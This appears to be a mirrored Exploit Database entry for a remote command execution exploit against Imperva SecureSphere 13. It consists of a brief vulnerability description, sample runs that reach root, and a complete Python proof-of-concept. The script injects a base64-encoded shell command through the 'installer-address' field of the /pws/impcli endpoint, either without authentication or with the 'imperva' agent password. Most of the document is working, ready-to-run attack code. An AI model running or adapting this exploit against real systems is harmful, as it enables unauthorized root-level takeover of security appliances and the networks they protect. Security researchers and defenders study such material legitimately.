Imperva SecureSphere 13 – Remote Command Execution

• Exploit Database
• 14 阅读

• 作者： rsp3ar
  日期： 2018-10-08
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45542/

• # Title: Imperva SecureSphere 13 - Remote Command Execution
  # Author: rsp3ar
  # Date: 2018-10-08
  # Vendor: https://www.imperva.com/products/securesphere/
  # CVE: N/A
  # Version: 13.0.10, 13.1.10, 13.2.10
  # Tested on: SecureSphere (Virtual Appliance)
  
  # Description
  # PWS is a component in SecureSphere v13, which consists of Python CGIs to expose various cli utilities over https.
  # The Python CGIs didn't properly sanitize user supplied command parameters, leading to command injection.
  # The vulnerability could be exploited in below ways (depending on configuration status of SecureSphere):
  
  # 1. Unauthenticated Remote Code Execution (Pre-FTL mode)
  # When SecureSphere VM is provisioned without running 'ftl' utility to configured into SOM/MX/Gateway mode, 
  # the vulnerable endpoint could be reached without authentication:
  
  # $ python poc.py -t 192.168.146.201 'sudo id'
  # [*] Sending payload to https://192.168.146.201/pws/impcli...
  # [*] Received command execution output:
  # uid=0(root) gid=0(root) groups=0(root)
  
  # 2. Authenticated Remote Code Execution (Gateway mode)
  # When SecureSphere VM is configured as gateway mode via 'ftl' utility, the vulnerable endpoint 
  # could be reached with valid agent registration credential for user 'imperva':
  
  # $ python poc.py -t 192.168.146.201 -p 'agent_registration_password' 'sudo id'
  # [*] Sending payload to https://192.168.146.201/pws/impcli...
  # [*] Received command execution output:
  # uid=0(root) gid=0(root) groups=0(root)
  
  #!/usr/bin/env python
  
  import argparse, sys, base64, json
  import requests
  from requests.packages.urllib3.exceptions import InsecureRequestWarning
  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  
  parser = argparse.ArgumentParser()
  parser.add_argument("-t", metavar = "target", help = "Target hostname/IP address", type = str, required = True)
  parser.add_argument("-p", metavar = "password", help = "Agent registration password for 'imperva' user", type = str, required = False)
  parser.add_argument("cmd", help = "Command to be executed on target", type = str)
  args = parser.parse_args()
  
  # /pws/inception is another vulnerable endpoint
  target_url = "https://%s/pws/impcli" % (args.t)
  session = requests.Session()
  session.get(target_url, verify = False)
  
  split_mark = "SPLIT_MARK"
  payload = "$(printf %s | base64 -d | bash)" % (base64.b64encode(args.cmd))
  headers = {}
  if args.p is not None:
  headers["Authorization"] = "Basic " + base64.b64encode("imperva:" + args.p)
  body = {
  "command": "impctl server status",
  "parameters": {
  "broadcast": True,
  "installer-address": "127.0.0.1 %s%s%s" % (split_mark, payload, split_mark)
  }
  }
  print("[*] Sending payload to %s..." % (target_url))
  response = session.post(target_url,headers = headers, data = json.dumps(body), verify = False)
  
  if split_mark in response.text:
  print("[*] Received command execution output:")
  print(response.text.split(split_mark)[1])
  elif response.status_code == requests.codes.unauthorized:
  print("[!] Gateway Authentication required, please provide agent registration password.")
  else:
  print("[!] Failed to execute command on target.")